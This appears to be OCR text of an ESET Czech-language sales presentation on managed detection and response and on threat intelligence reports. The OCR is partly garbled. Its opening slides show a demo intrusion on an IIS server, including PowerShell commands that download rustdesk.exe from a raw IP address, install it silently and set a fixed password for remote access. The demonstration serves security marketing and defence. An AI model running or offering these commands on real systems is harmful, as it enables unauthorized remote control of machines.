4/19/2024 7:45 AM
DEMO

WEB-LOSA-01
DEMO\administrator

Windaue Sarvar 2822 w21H? (2034R.

Detection Action

Account active Yes

Account expires Never B3 Tools

Password last set 4/19/2024 7:52:55 AM

Password expires Never @ Help and support
Password changeable 4/20/2024 7:52:55 AM

Password required No

User may change password No

Workstations allowed All

Logon script
User profile
Home directory

Last logon Never

Logon hours allowed All

Local Group Memberships *Administrators *Guests
Global Group memberships *None

The command completed successfully.

send command> whoami
nt authority\system
Press any key to continue.

Progress. Protected filteting

EUSTDESE PLACEHENT

7:53 AM
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File Actions Edit View Help %

Logon script

User profile

Home directory

Last logon Never

Logon hours allowed All
Local Group Memberships *Administrators *Guests

Global Group memberships *None
The command completed successfully.

send command> whoami
nt authority\system
Press any key to continue.

EUSTDESE PLACEHENT

Sending script to install rust desk

send command> Invoke-WebRequest http://103.79.143.101:8080/rustdesk.exe -Outfile "$env:ProgramData\rustdesk.exe";
Start-Sleep -Seconds 5

send command> Start-Process $env:ProgramData\rustdesk.exe --silent-install -NoNewWindow -Wait

send command> cd $env:ProgramFiles\RustDesk\

send command> $rustdesk_id = (.\rustdesk.exe --get-id | Write-Output)

send command> $rustdesk_pw = 'P@sswOrD’;.\rustdesk.exe --password $rustdesk_pw

send command> Write-Output "........... ";Write-Output "RustDesk ID: $rustdesk
_id";Write-Output "Password: $rustdesk_pw";Write-Output ". R R O N T T T T S A R S e s

—— Waiting on RustDesk to be installed/configured ——
- Waiting up to 115 more seconds.

Waiting up to 110 more seconds.

Waiting up to 105 more seconds.

- Waiting up to 100 more seconds.

Waiting up to 95 more seconds.
- Waiting up to 90 more seconds.

RustDesk ID: -snip-

Password: P@ssw@rD
- Waiting up to 85 more seconds.

Found RustDesk connection info (See above)

Done. RustDesk should be ready ——
Press any key to continue.

—— Using RustDesk to connect to compromised IIS Server

GEler) SERVER SECURITY

08

@& O 295 @

Monitoring
Log files
Scan
Update
Setup
Tools

Help and support

Progress. Protected

to search

Boot Time: 4/19/2024 7:45 AM
Machine Domain: DEMO

Host Name: WEB-LOSA-01

User Name: DEMO\administrator

Windnwe Sarvar 2822 w21H? (28348 _A4AR)
d® - o X

0S8 Varcinn:

Log files

S.. O. Object Detection Action Information Hash

Filtering

B Startup App Notification X

rustdesk is now configured to run when you log in.
To change this later, go to Settings, Apps, Startup.

7:54 AM
™ e A8 Tlds 4/19/2024 &



ESET MDR | statistiky monitoringu

Skodlivy kod
a jiny software

48 %

incidentl navazuje
na spusténi rizného
programoveého kodu

p )
Phishing a
techniky SE

22 %

incidentl souvisejicich
s utoky socialniho
inZenyrstvi

V ramci
pracovnich dnu

90 %

incidentu incidentl
nastava béhem
védnich dn

-

o
010
V pribéhu
pracovni doby

72 %

incidentd vznika mezi 8
ranni a 5 hodinou
odpoledni LT



Klicové vlastnosti
ESET MDR

MDR MDR Ultimate MxDR

25-600 5004000 > 2000

24/7 monitoring, analyza a automatizovana reakce

Lidska interpretace bezpecnostnich incident(

Poskytnuti zakladnich doporuceni klientovi

Moznost zakaznika doptat se na detaily incidentu

SIS

PIna visibilita v ramci GUI ESET & vlastni reporty

Vyhrazeni specialisté pro okamzitou konzultaci

Prace s historickymi daty véetné logud 3. stran

Detailni analyza malwaru tymem viruslabu

A A AR A YA YA NAN

Podpora on-premise instance ESET PROTECT/Inspect

CKSKKKISKKS

24/7 analyza bezpecnostnich logli z feseni 3. stran




Klicové vlastnosti
ESET MDR

MDR MDR Ultimate MxDR

25-600 5004000 > 2000

24/7 monitoring, analyza a automatizovana reakce

v
v

Lidska interpretace bezpecnostnich incident(

Poskytnuti zakladnich doporuceni klientovi

SIS

(V2]
MoZnost zakaznika doptat se na detaily incidentu ?\
PIna visibilita v ramci GUI ESET & vlastni reporty ?2)
Vyhrazeni specialisté pro okamzitou konzultaci ‘8
Prace s historickymi daty véetné logud 3. stran %
®

Detailni analyza malwaru tymem viruslabu

Podpora on-premise instance ESET PROTECT/Inspect

A A AR A YA YA NAN

SIS

24/7 analyza bezpecnostnich logli z feseni 3. stran




ESET pro SOC



Globalni vyhledavani a analyzy celych atoku

@ Servery, desktopy a mobilni @ Vlastni ESET honeypoty @ Externi zdroje — VirusTotal,

zatizeni zakaznikd chranéné lakajici utocniky rozmisténe bezpeénostni komunita, organy
systémy ESET po celém svéte &inné v trestim fizeni

ESET Cloud Office Security @ Automatizovana analyza

zabezpedujici prostredi desitek botnet(l technologii

MS 365 a Google Workspace ESET Botnet Tracker



ESET Research | Prague | eCrime Unit

Nové vytvoreny tym specialistii na vyzkum kyberkriminality
s primarnim zameérenim na ransomware skupiny

* 5Clenny tym z viruslabu v prazském vyzkumném centru

*  Globalni zaméreni, spoluprace s dalsSimi R&D centry

* Hloubkové analyzy bezpecnostnich incidentu

* Analyza ndstroji dvojiho pouZziti

* Sledovani darknetu a komunikacnich kandll kyberzlocincu
*  VylepsSovani detekci ESET AV, XDR a reakci MDR

* Notifikace zakaznikt o probihajicim Utoku



Stovky analyzovanych hands-on-keyboard utoku



welivesecurity - c=m

ESET Research

CosmicBeetle steps up:
Probation period at
RansomHub

CosmicBeetle, after improving its own ransomware, tries its luck
as a RansomHub affiliate

Jakub Soucek
10 Sep 2024, 25 min. read

ESET researchers have mapped the recent activities of the
CosmicBeetle threat actor, documenting its new ScRansom

welivesecurity - c=m

ESET Research

First known Al-powered
ransomware uncovered by
ESET Research

The discovery of PromptLock shows how malicious use of Al
models could supercharge ransomware and other threats

Anton Cherepanov: Peter Strycek
26 Aug 2025, 2 min. read

UPDATE (September 39, 2025): ESET Research has been



eCrime Reports Activity Summary 2025-0002 [DEMO]

Report ID

&4 The ESET Malware Information Sharing Platform 0b5bftb8-a603-b98-b2cf-81f9e28b3830

ECRIME REPORTS
Issue ID

THREAT INSIGHTS ASC-2025-0002

MISP Event UUID
READ / UNREAD ECRIME TAGS ©3b96194-b743-40d7-939-c7b98i%a1c42

EARLY WARNINGS An incident response featuring FIN7's new backdoor TinWolf [DEMO] o] hnical Analysis ‘ FIN7 ‘ US | manufacturing Category

Activity Summary 2025-0002 [DEMO] Activity Summary | BlackSuit H EUCA-0002 || EUCA-0007 || EUCA-0010 || EUCA-0012 H EUCA-0013 Lo BT

Published
2025-08-13 11:15:21

Updated
2025-08-13 11:15:22

Report download

eCrime Tags:

Threat actor Victim
Name Country Location Sector

| Blacksutt | Western Europe entertainment
EUCA-0002 Pacific transportation
EUCA-0007 "

EUCA-0007 SK

EUCA-0007 LT

EUCA-0007

EUCA-0012

COLLAPSE




ESET Threat Intelligence reports PREMIUM TLP: AMBER+STRICT

e-r Digital Security
Progress. Protected.

TECHNICAL
ANALYSIS

eCrime =

) \,\\ \
SN

An incident response featuring
FIN7's new backdoor TinWolf

Issue:
TAC-2025-0002 V1.0
1January, 2025 (eset):research

* This report and its contents have been provided for distribution within your organization only. Downloaded on 2026-03-09 13:28:57 by customer ci56410a.




ESET | eCrime reporty

Aktualni, ovérené a unikatni informace o realnych utocich

Informace o novych ransomwarovych a infostealerovych kampanich
Sledovani skupin utoc€nikd a analyza jejich zptusobu Cinnosti
Detailni prehled novych technik, taktik a postupt utocnik

Analyzy infrastruktur a rozebrani pouzitych nastrojl

Prakticka doporuceni pro prevenci a reakci

Datové feedy s loC pro automatizovanou detekci

Pristup k ESET MISP umoznujicimu synchronizaci dat

ESET LiveAl asistent pro kontextovou analyzu a praci s reporty



Moznost sdileni privatnich informaci o
APT uskupenich



Your reporting on Chinese APTs is
better than the one from
Mandiant.”

Threat Intelligence Analyst, ETI customer



Vaclav Zubr | Solution Architect

vaclav.zubr@eset.com
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